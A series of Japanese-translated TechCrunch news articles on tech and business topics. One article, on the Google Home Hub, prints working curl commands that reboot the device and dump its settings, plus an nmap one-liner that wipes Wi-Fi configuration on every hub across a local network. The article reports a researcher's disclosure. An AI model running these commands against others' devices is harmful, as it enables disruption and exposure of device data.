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Aclimaとグーグルが研究者にカリフォルニアの大気汚染の新データセットを公開

Collision from Homeカンファレンスの一環として、AclimaでCEOを務めるDavida Herzl（ダビダ・ヘルツル）氏は、Google（グーグル）と協力して作成した新しいデータセットを発表した（Collisionリリース）。

科学コミュニティに無料で提供される今回のデータは、4年間のデータ収集と集計の集大成であり、カリフォルニア州全体で4200万回の大気質測定が行われた。

Aclimaのセンシングと分析ツールはGoogleストリートビューの撮影車両に統合され、ジョイントベンチャーでサンフランシスコのベイエリア、ロサンゼルス、カリフォルニアのセントラル・バレーの大気汚染物質と温室効果ガスレベルを測定した。

撮影車両は二酸化炭素、オゾン、二酸化窒素、一酸化窒素、メタン、ブラックカーボン、微粒子汚染物質のデータを収集した。両社は今回のデータセットの公開で、大気汚染や温室効果ガスのデータ測定によって前進する分野の研究を支援できるはずだと述べている。

一連のデータはテキサス大学オースティン校と環境防衛基金（EDF）の研究者たちによって2017年に発表された論文で使われている。それによると汚染の度合いは、都市ブロック間で5倍から8倍にもなるという。2018年にEDFとKaiser Permanenteは、オークランドの路上における汚染と心臓病の発生率の上昇とを結びつける研究を発表した。2020年には、Aclimaのデータのサブセットを用いて渋滞課金による環境利益を推定した。

カリフォルニア州の大気に関する完全なデータセットを研究者が利用できるようになったことで、健康に悪影響を及ぼし、気候を変化させる排気ガスの量を明らかにし削減するためには、街頭レベルの大気の質を測定して分析することが不可欠であると、Aclimaとグーグルは主張している。

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（翻訳：塚本直樹 Twitter）

米国で大麻関連企業を新型コロナ支援の対象とする法案が提出

新型コロナウイルス（COVID-19）への米政府による大規模な資金援助が間近に迫っている中、以前に大麻ビジネスが急成長していた州の2人の議員が、政府に大麻産業への保護を要請している。

Earl Blumenauer（アール・ブルメナウアー）下院議員とEd Perlmutter（エド・パールマター）下院議員が提出したこの法案は、大麻企業に給与保護プログラム、経済傷害災害融資、災害融資プログラムを通じた緊急融資の資格を与えるものだ。

大麻関連企業は必要な事業認可を与えられており、大麻が医療やレクリエーション目的の販売で合法化されているほとんどの州で、事業を継続することができる。それでもこれらの企業は、例えプログラムの要件を満たしていたとしても、米中小企業庁を通じた融資や、その他の新型コロナウイルスによる危機に対する援助を申請することができない。これに、前回の大規模な新型コロナウイルス支援パッケージの後に導入された、PPPと呼ばれる融資免除プログラムも含まれている。

多くの中小企業経営者が労働者の雇用維持のためにPPPローンによる助成金を申請したが、資金を確保できた企業はほとんどなかった。さらに悪いことに、融資の一部は大手レストランチェーンやヘッジファンドなど、中小企業の定義外の企業に与えられた。

「大麻ビジネスはコロラド州および全国の地域経済における主要な雇用者であり、また重要な貢献者でもある」と、パールマター議員は述べている。「大麻関連企業は他の合法的なビジネスと同レベルの支援を受けるべきであり、今回の新型コロナウイルスの危機の間、米中小企業向け貸付（SBA）の救済基金の対象となるべきだ」。

新型コロナウイルス　関連アップデート

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（翻訳：塚本直樹 Twitter）

米給付金の小切手に遅れ、H＆R BlockやTurboTaxで申請した数百万人に影響

企業への救済措置の一方で、多くの人が1200ドル（約13万円）の小切手では、あと数週間のロックダウンを乗り切るのに不十分だと懸念するのは当然だ。しかし、景気刺激策のための小切手は、何もないよりはマシだ。アメリカでは2020年3月だけで、2200万人以上が失業申請をしている。

しかし、実際に小切手を手に入れるのは簡単ではない。多くのアメリカ人にとって、たくさんの障害がある。例えばほとんどの学生は無資格であり、同じことがほとんどの高齢者や障害者にも当てはまる。社会保障番号のない移民もそうだ。紙の小切手に大統領の署名を載せるという前例のない命令など、さまざまな遅延要因もあった。

何百万人もの米国人は、「不具合」で問題がさらに遅らされている。The Washington Post（ワシントン・ポスト）によると、H&R BlockやJackson Hewitt、TurboTaxのような人気サービスを利用して2019年に税金を申告をした「数百万人」は、米国時間4月15日に予定されていた入金が延期された。問題は、IRS（米国内国歳入庁）が彼らの預金情報をファイル上に持っていなかったためだ。

今週、IRSの「Get My Payment」ツールを介して給付金のステータスをチェックした人には、不可解な「Payment Status Not Available」というメッセージが表示された。この件に関する追加情報はない。

IRSは現在、遅延の原因となった問題の解決に取り組んでいると述べている。

新型コロナウイルス　関連アップデート

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（翻訳：塚本直樹 Twitter）

Relativity Spaceは3Dプリントとクラウドベースのソフトウェアで新型コロナの嵐をやり過ごす

他のどの業界とも同様に宇宙関連の若いスタートアップや企業でも、新型コロナウイルス危機の煽りを受けてレイオフが相次いでいる。しかし、Relativity Space（レラティビティー・スペース）は、なんとかレイオフを回避できた。それどころか、世界的パンデミックにも負けず、新規に従業員を雇用している。RelativityのCEOで創設者のTim Ellis（ティム・エリス）氏は、大型3Dプリントと、クラウドベースのツールとテクノロジーの導入にフォーカスしたことが、会社を苦境に追い込まなかった大きな要因だと話している。

Relativityが間もなく完成させるロケットは、エンジンから胴体、さらにはその中間にあるものまで、ほとんどが3Dプリント部品で構成されるため、基本的にほぼ途切れることなくプロトタイプの製造を進めることができた。Relativityは、航空宇宙と防衛に携わる企業の例に漏れず、必要不可欠な事業と認知されているのだが、相当早い時期から新型コロナウイルスの潜在的な危険性に対処し、従業員の健康と安全を確保すべく手を打ってきたとエリス氏は言う。米国でこの病気が問題視され始めた3月9日、公式な規制や自宅待機の要請が出される以前に、Relativityでは早くも従業員に自宅勤務を勧めていた。

「それができたのは、一部には私たちの自動プリント技術のおかげです。工場にはごくごくわずかな人間しかいませんが、それでもプリンターを動かし続けることができます」とエリス氏はインタビューで話してくれた。「現に今はたった1人で数台のプリンターを見ていますが、実際にプリントが行われています。文字通りワンマン運転です。その一方、この2週間ほどの間に、会社の業務の大半を自宅で処理できるようにしました」。

たった1人の現場担当者で工場全体を管理できる能力は、現在の状況において、競争上、非常に大きな強みであり、同時に従業員の健康と安全を大切に守る方策でもある。エリス氏によると、同社はすでに複数の地域で業務を行っているという。ケープ・カナベラルとフロリダに加えて、ミシシッピ州のジョン・C・ステニス宇宙センターとロサンゼルス本社だ。Relativityではまた、米国内の離れた場所からも数名の従業員がテレワークしている。同社は早くから、全員が一箇所に集まらなくてもデザインや開発が行えるように体制を整えていたのだ。

「私たちはワークフローを円滑にするために、独自のソフトウェアツールを開発しました。それが大変に優れています」とエリス氏。「しかも、ITAR（国際武器取引規制）と複数の暗号プロトコルに準拠しつつクラウドに深く対応した企業ということだけでも、本当に有利なのです」。

自社開発のソフトウェアとクラウドベースのツールに集中したことに加え、エリス氏は、一番新しい資金調達ラウンド 、 2019年10月にクローズした1億4000万ドル（約152億円） のタイミングも、新型コロナウイルス危機への備えに貢献したと考えている。Relativityはレイオフを回避し、新たな求人も開始しただけではない。パートタイムも含め、全従業員に給与を全額支給し続けている。これはすべて、今思えば先を見通したビジネスモデルのおかげなのだが、現在の国際的ビジネス状況におけるこの目覚ましい優位性は、実際のところ単に幸運の賜物だとエリス氏は言う。それでもこれまでのRelativityの回復力は、一部には新型コロナウイルスのパンデミックに起因する大きな永続的変化の現れだと彼は信じている。

「それによって本当に変わるもの【中略】は、国際的なサプライチェーンへのアプローチです」と彼は言う。「もっと多くのものを米国内で生産して、サプライチェーンの過度なグローバル化への依存を減らそうという圧力が高まると思います。私たちがずっと3Dプリンターを使ってきたのは、そのためでもあります。それは、ごくわずかな作業員で、今のような状況下でもロケットの第1段が作れてしまう自動化のテクノロジーというだけではありません。サプライチェーンに関して言えば、限られた数の供給業者と、いくつもの製造方法からなる簡素なサプライチェーンを持つことで、供給業者やサプライチェーンの停止による大打撃を大幅に減らせるのです」。

新型コロナウイルス危機が、2021年に最初の3Dプリントロケットを飛ばすという予定を含めた打ち上げスケジュール全体に、どこまで影響を与えるかはまるで予測できないが、テレワークと社会的隔離指示に難なく添える製造ラインで多くの業務がこなせるとエリス氏は期待している。ジョン・C・ステニス宇宙センターのエンジン試験場といった提携施設が閉鎖されれば、確かに打撃にはなる。だがRelativityの回復力は、この危機的状況が去ったあかつきには、あらゆる種類の製造業の模範となるだろう。

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（翻訳：金井哲夫）

Udacityがテクノロジー職業教育を最下層からテコ入れし10万名に無料のプログラミングクラスを提供

【抄訳】
Sebastian Thrun（セバスチアン・スラン）氏が創業したオンライン教育企業のUdacity（ユダシティ）が、ドナルド・トランプ大統領の政権下で行われている職業訓練事業Pledge to America’s Workers（米国労働者への誓い）の一環として、新たな奨学制度を立ち上げる。

新CEO Gabe Dalporto（ゲイブ・ダルポート）氏のリーダーシップのもとでUdacityは、毎年2万名に初等テクノロジー教育訓練クラスを無料で提供する。

この教育事業は、ウェブのフロントエンドとモバイルアプリの開発、およびデータ分析がメインになる。応募者に必要条件はないが、奨学制度なので対象はプログラミングのスキルを学びたいと思っている低所得の個人だ。彼らを需要の多い高給の職種に就けることによって、キャリアの高度化を目指す。

関連記事：Udacity names former LendingTree executive to CEO post（Udacityが元LendingTreeの役員をCEOに指名、未訳）

今は、米国の労働者にテクノロジー教育を提供する絶好の機会だ。コンサル大手マッキンゼーによると、同国では2030年までに3860万人が解職され、新たな雇用を必要とする。一方、調査会社のGartnerガートナー）によると、多くの企業が人材不足を最上位の懸念としている。

Udacityの事業は2段階に分かれている。最初の1年は10万名を対象に、現状のスキルレベルに関わりなく同社の入門クラスを提供し、週に数時間の授業を2〜3か月受けさせる。

次の段階として、これらの生徒はUdacityのメンターとコミュニティマネージャーにアクセスして、Udacityの科目別学位取得事業ナノディグリー（Nanodegree）を最後まで完全に受けられる。学業とコミュニティ活動の両面で成果を上げた上位の生徒1万名が、これを無料で受講できる。

Udacityのナノディグリーは普通に受けると1カ月399ドルで、通常は5カ月で卒業する。同社のデータによると、Udacityの事業経由で職を得た者の約半分が、それまでよりも38%多い給与を得ている。

Man coding on computer at night.

画像提供: Getty Images/DeanDrobot

【中略】

Udacity自身にとっての大きな変化は、入門クラスを別立ての事業にしたことだ。これまでUdacityは入門コースを、もっと本格的なナノディグリーコースの冒頭に置いていた。

【後略】

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（翻訳：iwatani(a.k.a. hiwa）

テック企業はトランプ大統領による追加関税を猶予された

ドナルド・トランプ大統領と米国通商代表部（USTR）は、テック企業に対し一時的な追加関税の猶予を発表した。大統領と貿易担当者は、コンピューター、携帯電話、ノートパソコン、ビデオゲーム機、コンピューターモニター、衣類、靴などの価格をクリスマス前に引き上げたくないので、中国の輸入品に追加関税を課すことを控えている。

大統領はまた、現在進行系の貿易戦争が世界的な景気後退を引き起こし、2020年の大統領選再戦の可能性にも影響することを懸念したことも想定される。

理由はどうであれ、10%の追加関税を一部の輸入品目に課さないというこのニュースは投資家を集め、火曜日（8月13日）の株式市場を上昇させた。

Dow Jones Industrial AverageとS&P500指数は、ともにこの日に1.4%上昇、Nasdaq指数も1.9%上昇した。これは主に、Apple（アップル）株の急騰によるものだ。同社の株価は8.49ドル（4.2%）上昇し、208.97ドルの終値をつけた。

今月はじめ、トランプ大統領が3000億ドル（約32兆円）相当の中国製品に10%の関税を課すと発言たことで市場は急落した。その後、中国元のわずかな切り下げは、市場が回復する前にさらなる追い打ちとなった。

そして8月13日のニュースは、これらの値下げを消し去った。米国と中国が貿易戦争で合意に達するまでは、恐怖と動揺、非合理的な熱狂のさなかで、市場のゆらぎが終わることはない。

これに先立ち、Steven Mnuchin（スティーブン・ムヌチン）米財務長官とRobert Lighthizer（ロバート・ライトサイザー）米通商代表部代表は、中国の劉鶴副総裁や鐘山商務部長と会談し、貿易摩擦について話しあった。2人の中国当局代表は、9月に実施される予定の関税策について抗議した。2人の通商代表は2週間後に別の会談を予定している。

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（翻訳：塚本直樹Twitter）

スマホやラップトップ、ゲーム機への米国の追加関税が12月まで猶予へ

米国通商代表部（USTR）が複数品目への追加関税を延期したとのニュースを8月13日朝に聞き、電子機器メーカーが安堵していることは間違いない。

畜産物、食料品、衣料品などの貿易項目には、9月1日から10%の追加関税が課せられる予定だが、「携帯電話、ラップトップコンピューター、ビデオゲーム機、特定の玩具、コンピューターモニター、および特定の靴および衣類」などは12月15日まで延期された。関税は避けられないようだが、多くは休暇に間に合うようになんとかやりくりできるかもしれない。

「一部の品目は健康、安全、国家安全やその他の理由で関税リストから外されており、10%の追加関税は課されない」とUSTRは伝えている。「また、USTRのパブリックコメントおよびヒアリングプロセスの一環として、一部の品目について関税を12月15日まで延期することが決定された」。

リストには「セルラー網や他の無線ネットワーク用の電話」「留守番電話機」「車載用のカセットプレーヤー（非録音型）」まで、幅広いエレクトロニクス製品が含まれている。

Appleのような企業の株価は、このニュースを受けてすでに上昇している。トランプ氏はその後、中国との貿易交渉について懸念を表明しているが、政府は来月ワシントンで中国との追加交渉を行う見通しだ。トランプ大統領はこの会談が実施されるかどうかについて「たぶん、様子を見守る」と記者に回答している。

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（翻訳：塚本直樹 Twitter）

シャープがスマートテレビの販売を年内に米国で再開する

米国の消費者にとって良いニュースだ。シャープが年内に米国でテレビの販売を再開すると発表したので、スマートテレビをめぐる競合がより活発になるだろう。

この日本企業は、財務状況が悪化して自分の存在すら危うくなった2015年に米国を去った。その後同社は、Foxconn（フォックスコン）の名でよく知られている台湾の製造企業Hon Hai Precision（鴻海精密工業）に救済されたが、そのときの35億ドルの買収は日本国内で議論をよび、国が支援する協定の方がまし、という声が多かった。しかし同社は今、新しい経営母体の下（もと）で、再建努力を継続するための事業拡大の道を探っている。

シャープは米国市場を去るにあたってTV事業のライセンスをハイセンスに売ったが、今週の同社の発表ではその後買い戻したという。その条件等は開示されていない。

両社の関係は確かに冷えきっている。シャープはこの中国の国有企業を告訴し、粗悪な製品にシャープの商標を付けて売った、と主張した。その訴訟は昨年の初めに取り下げられた。そのときシャープは、北米市場には自力で帰還したいと述べ、そして今回、そのために必要な契約が成立した。

ロイター通信の情報筋によると、ハイセンスがまだ権利を有しているそのほかの米国市場も同社は検討しているようだが、しかし言うまでもなくビッグニュースになるのは合衆国市場への復帰だ。

シャープによると、当面は5GとAIoTを結びつけた、画質が8K/4Kのテレビを発売する（AIoTはArtificial Intelligence of Things、物の人工知能の略である）。その製品系列の詳細は、まだ発表されていない。

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（翻訳：iwatani、a.k.a. hiwa）

倉庫サービス〜邪魔物保管サービスのClutterがSoftBankのリードで2億ドルを調達

目下、SoftBankのVision Fundの投資家たちの不満気な様子をめぐっていろんな憶測が溢れているが、しかしドラムは鳴り続けているし、小切手もどんどん書かれている。この1000億ドルのメガファンドの最新の取引相手はオンデマンドの倉庫サービスClutter、このほど成長資金として2億ドルを獲得した。

目ざとい読者は覚えておられると思うが、本誌TechCrunchは早くも1月に、この巨額投資を特ダネで報じた。そしてそれが今日（米国時間2/20）、公式になった。

Clutterは、一般消費者が捨てたくはないけど家が狭すぎて置けない、と思っている物を貸し倉庫にしまってくれる。この業態は、今とても多い。Clutterの場合はアプリで呼びだせばスタッフが来て荷造りをして品物を持ち去る。もちろん、後で返してくれる。しかし長期保管だけでなく、引っ越しのときなどの一時的な“物置”としても利用できる。物の搬入先として、同社の倉庫ではなく自分の引っ越し先である新居を指定してもよい。主なコンペティターは、MakeSpace、Omni、Trove、Livible、Closetboxなどだ。

SoftBankがリードするラウンドに参加したのは、Sequoia、Atomico、GV、Fifth Wall、そしてFour Riversだ。Four Riversは、2年近く前の6400万ドルのラウンドをリードした。今回の2億を合わせると、同社の調達額は2億9700万ドルになる。

Clutterの評価額について確定情報はないが、本誌TechCrunchの、いつも良い位置で獲物を狙っている筋によると、今回の評価額は4億から5億ドルだろう、という。ひとつだけ確実なこととして、SoftBankのJustin WilsonがClutterの取締役会に加わる。

この資金は、発表声明によると、アメリカ国内での事業拡張に充てられる。でも、海外進出の匂いもかすかにある：

この資金により、同社の2019年における新しい市場への拡張が加速される。新市場は、フィラデルフィア、ポートランド、そしてサクラメントだ。また、ニューヨーク、サンフランシスコ、ロサンゼルス、シカゴ、シアトル、サンディエゴ、オレンジカウンティ、ニュージャージー北部など既存の市場でも業務を拡大し、アメリカの50大都市のすべてに拠点を置くという目標達成を目指すとともに、国際的な拡張も行なう。

SoftBankのWilsonは、声明でこう言っている: “倉庫サービスは市場規模がきわめて大きく、これからディスラプトしていける既存市場もその潜在的規模は巨大だ。Clutterのテクノロジーと優れた消費者対応は同社の将来の成長を支え、スペースが貴重な都市地域で市場を拡大していけるだろう”。

関連記事: Sources: Clutter is raising $200-250M led by SoftBank for on-demand storage and moving…ClutterがSoftBankのリードで$200-250Mを調達（未訳）

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（翻訳：iwatani(a.k.a. hiwa）

Operaの無料VPNがAndroid上のブラウザーアプリに登場、ネイティブアプリは復活せず

OperaはVPNをバンドルした初のブラウザーだが、今度はその努力をモバイルに広げようとしている。

同社の今日（米国時間2/8）の発表によると、そのAndroid上のブラウザーアプリが、無料のVPNの提供を開始する。その機能はベータユーザーに徐々に展開される。VPNは無料で無制限、アメリカとヨーロッパとアジアの位置にセットできる。“optimal”にセットすると、今可利用な中で最速の接続にセットされる。VPNをonにするとユーザーのトラフィックのデータをOperaが集めないので、ユーザーの位置やデータを追跡するのが困難になる。

粒度の設定も可能で、VPNの利用を特定のタブに限定すると、検索エンジンでローカルな結果が得られるようになる。

Operaは前に、AndroidとiOS用にVPNアプリを提供していたが、それらは昨年閉鎖した。新しい戦略は、その技術を直接ブラウザーに組み込んで、競争上の優位を獲得すると同時に、ユーザー数も増やしたい、というものだろう。iOSに関しては、まだローンチの話はない。

同社のブログは曰く: “VPNをAndroidのブラウザーに内蔵する理由は、日常使うモバイルのブラウザーで検索するとき、保護層をユーザーに提供するためだ”。同社は昨年、Nasdaqに上場した。

OperaのVPNは2015年の買収の産物で、さまざまなプライバシー機能の一部だった。そのほかに、クッキーダイアログボックスのブロックや暗号通貨の採掘禁止、広告ブロックなどがある。暗号通貨をサポートする機能もあり、それらは暗号通貨ウォレットやWeb 3アプリのサポートなどだ。そして今週は、ブラウザーの中から暗号通貨を買える機能が登場した。

さらにOperaには、“Touch”ブラウザーというものがあり、ホームボタンのないデバイスで使える。それはAndroidでローンチし、昨年後半にiOS版も出た。

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（翻訳：iwatani(a.k.a. hiwa）

この腕輪は麻薬の過剰摂取を検出して死を未然に防ぐ

カーネギーメロン大学の学生たちのプロジェクトが、人命を救うかもしれない。HopeBandと名付けられた腕輪が、血中の酸素濃度が低いことを感知して、それが急を要するレベルならテキストメッセージとアラーム音を送る。

学生のRashmi Kalkunteが、IEEEにこう語っている: “友だちの誰かがいつも過量摂取を心配していたら、その使い方パターンを理解し、どんなときには誰に助けを求めるべきか知ってる人が近くにいるといいよね。HopeBandは、そんな人の代わりになることを目指して、設計したんだ”。

9月に行われたHealth 2.0カンファレンスでチームは、Robert Wood Johnson財団主催のOpioid Challengeコンペに応募して三位になった。彼らはその腕輪を、ピッツバーグの針交換事業*に送るつもりだ。売価は20ドル未満をねらっている。〔*: 注射針を新品の針に交換することでエイズなどの伝染を防ぐ。多くは地方自治体の公衆衛生事業の一環。〕

今年アメリカで過量摂取で死んだ人は72000人を超えている。こんなデバイスがあれば、人びとを少しは安全にできるだろう。

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（翻訳：iwatani(a.k.a. hiwa）

GoogleのHome Hubがたった1行のコードで煉瓦になる（文鎮になる）

セキュリティの普及活動家であるJerry Gamblinがポストした、主にXMLの行から成るコードは、Google Home Hubから容易に情報を取り出し、ときには一時的にそのデバイスを動かなくしてしまう。

Home Hubは要するに、Androidタブレットにスピーカーをくっつけた製品で、室内で使うGoogle Assistantデバイスとして設計されている。それは近くのWi-Fiアクセスポイントを見つけ、ユーザーはそのどれかに接続し、他のデバイスからビデオや写真を受信したり、リモートのコマンドを受け付けたりする。ビデオを受信するときには自分のPINを送信するし、また受け取るコマンドの中にはコマンドラインのクイックリブートもありえる。

問題のコマンドは、コマンドラインからの簡単なURL呼び出しで、明らかにセットアッププロセスの一部だ。ご自分で試したい人は’hub’のところをHome HubのローカルなIPアドレスに置換するとよい:

curl -Lv -H Content-Type:application/json --data-raw '{"params":"now"}' http://hub:8008/setup/reboot

[ぼくはIoTのセキュリティのエキスパートではないが、不正なcurlコマンドでGoogleのHome Hubをリブートできるのはおかしいよね。]

これも1行のコード（curlコマンド）だが、マイクロサービスの数などの情報を暴露する:

$ curl -s http://hub:8008/setup/eureka_info | jq
{
"bssid": "cc:be:59:8c:11:8b",
"build_version": "136769",
"cast_build_revision": "1.35.136769",
"closed_caption": {},
"connected": true,
"ethernet_connected": false,
"has_update": false,
"hotspot_bssid": "FA:8F:CA:9C:AA:11",
"ip_address": "192.168.1.1",
"locale": "en-US",
"location": {
"country_code": "US",
"latitude": 255,
"longitude": 255
},
"mac_address": "11:A1:1A:11:AA:11",
"name": "Hub Display",
"noise_level": -94,
"opencast_pin_code": "1111",
"opt_in": {
"crash": true,
"opencast": true,
"stats": true
},
"public_key": "Removed",
"release_track": "stable-channel",
"setup_state": 60,
"setup_stats": {
"historically_succeeded": true,
"num_check_connectivity": 0,
"num_connect_wifi": 0,
"num_connected_wifi_not_saved": 0,
"num_initial_eureka_info": 0,
"num_obtain_ip": 0
},
"signal_level": -60,
"ssdp_udn": "11111111-adac-2b60-2102-11111aa111a",
"ssid": "SSID",
"time_format": 2,
"timezone": "America/Chicago",
"tos_accepted": true,
"uma_client_id": "1111a111-8404-437a-87f4-1a1111111a1a",
"uptime": 25244.52,
"version": 9,
"wpa_configured": true,
"wpa_id": 0,
"wpa_state": 10
}

そして下のnmap呼び出しは、ローカルなネットワーク上のすべてのデバイスが自分のWi-Fiを忘れてしまうので、もう一度セットアップしなければならない:

nmap --open -p 8008 192.168.1.0/24 | awk '/is up/ {print up}; {gsub (/(|)/,""); up = $NF}' | xargs -I % curl -Lv -H Content-Type:application/json --data-raw '{ "wpa_id": 0 }' http://%:8008/setup/forget_wifi

Gamblinも言っているが、これらのセキュリティホールは壊滅的ではないが要注意だ。これらのコマンドやツールを不正に実行できてしまうこと自体、よく言えば怠慢だし、悪く言えば危険だ。彼の指摘によると、このオープンなエンドポイントは何年も前からいろんなGoogleデバイスにある。だからこれはコードベースの正常な一部であり、Googleによるいたずらではない。

ここには、重大なものは何もないし、Home Hubが重要な医療機器を制御することもない。でも、このプラットホームを使ってるデバイスにセキュリティの欠陥があることは、知っておいて損はない。この場合はコマンドの不正実行やシステムの盗用だ。しかし今日はGrandpaの超複雑な写真フレームをリブートできるだけだが、明日になると誰かが、うちのおじいちゃんの酸素濃縮器をリブートするかもしれない。

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（翻訳：iwatani(a.k.a. hiwa）

スウェーデンの避妊アプリNatural CyclesをFDAが承認、ただし完璧な避妊方法は存在しない

妊娠したくないの？　FDAが認可した、そのためのアプリがあるのよ。FDAが今日（米国時間8/13）、スウェーデンのアプリNatural Cyclesに、避妊方法の一つとしてアメリカで売ってもよい、という許可を与えた。

Natural Cyclesは一部のヨーロッパの国では妊娠を防ぐ方法のひとつとしてすでに使われている。でも、いわゆる‘デジタル避妊法’がアメリカで認可になるのは、これが初めてだ。

このアプリは、ユーザーの女性が提供するデータ、たとえば、体温や毎月の生理の周期などをアルゴリズムが利用する。そして各月のいちばん受胎しやすい日（何日から何日まで）を計算する。女性はその日にはセックスをしないようにするか、または避妊具を使用する。

生理の周期を調べて受胎しやすい日にちを判断する避妊方法は、かなり前から使われている。でもNatural Cyclesはこの古くからある方法に科学のひと味を加えて、アルゴリズムを改良した。そして15000名あまりの女性テスターたちの評価により、“ふつうの使い方”では6%のエラーレート、“完璧な使い方”では1.8%のエラーレートを達成した。

“完璧な使い方”とは、アプリが示唆する受胎危険日には防具を使わないセックスを絶対にしない、という使い方だが、それでも100人中1年に2人近くは妊娠する。つまりアプリが示唆する‘受胎危険日以外の日’は、‘絶対に100%妊娠しない日’ではない。でも、そのほかの避妊方法にも、それぐらいのエラーレートはある。たとえばCenters for Disease Control(CDC)によれば、コンドームのエラーレートは18%だ。

このアプリのメーカーはアメリカのFDAに効用を説得することには成功したが、しかしスウェーデンでは少なくとも一つの病院が、国のMedical Products Agency(MPA)と共に調査を開始した。同病院の記録では、Natural Cyclesを使っていた女性のうち37名が、望まざる妊娠をしているからだ。

FDAのCenter for Devices and Radiological Health（健康機器・器具および放射線医学部局）で女性の健康を担当しているAD Terri Cornelisonはこう言う: “消費者はますますデジタルの健康テクノロジーを使って自分のための健康情報を得ている。この新しいアプリはよく注意して正しく使えば有効な避妊方法を提供できる”。

ただしそんな彼女も、アプリのアルゴリズムにもそのほかの避妊方法にもエラーレートがあることを認める。そして、“完璧な避妊方法は存在しないことを、女性は知るべきだ。だからこのデバイスを正しく使っても計画せざる妊娠が結果することが、依然としてありうる”、と語る。

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（翻訳：iwatani(a.k.a. hiwa）

完全植物性のひき肉が大衆的ハンバーガーショップに進出、菜食人口の増大にも対応

完全植物性の、がんもどきではなく肉もどきを作っているImpossible Foodsが、食肉のサプライチェーンに食い込もうとしている。同社の肉もどきで作ったバーガーもどきが、アメリカで最初のファストフードバーガーチェーンWhite Castleのメニューになるのだ。

そこで、ラリったヴィーガンのヒッピーたちも、同じくラリったスラッカーたちと一緒に、安くておいしいバーガーふう御馳走にありつける、というわけ。

その“Impossible Slider”という商品名の完全植物性ひき肉もどきは、バーガー1枚が1ドル99セント、ほかのメニューに含まれることもある。

ヴィーガン(vegan, 完全菜食主義者)専用の高級品だった肉もどきが、一般消費者向けのファストフードチェーンへ飛び込むなんて、ものすごく画期的だ。

同社のミッションが本物のひき肉と互角なコンペティターになり、最終的にはそれを駆逐することなら、そのバーガーの名前も今のUmami Burgerから堂々とImpossible Sliderに変わるべきだ。

前にも書いたが、同社は最近3億ドル近くの資金調達により、そのバーガーをアジアとアメリカ市場全域に売り込もうとしている。

Impossible Sliderがこれから売られるWhite Castleの店は、ニューヨーク-ニュージャージー回廊地帯とシカゴおよびその郊外の、140店だ。

Impossible FoodsのファウンダーでCEOのPatrick Brownは、声明文で述べている: “White Castleのビジネスモデルを真似ようとした連中は多かったが、だれも真似できなかった。競争の激しいファストフード業界で、それはすごいことだ。われわれもWhite Castleと密接に協働して、植物性の肉を今後大衆的な量産量販バーガーとして普及していく方法を学びたい”。

画像クレッジット: TechCrunch

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（翻訳：iwatani(a.k.a. hiwa）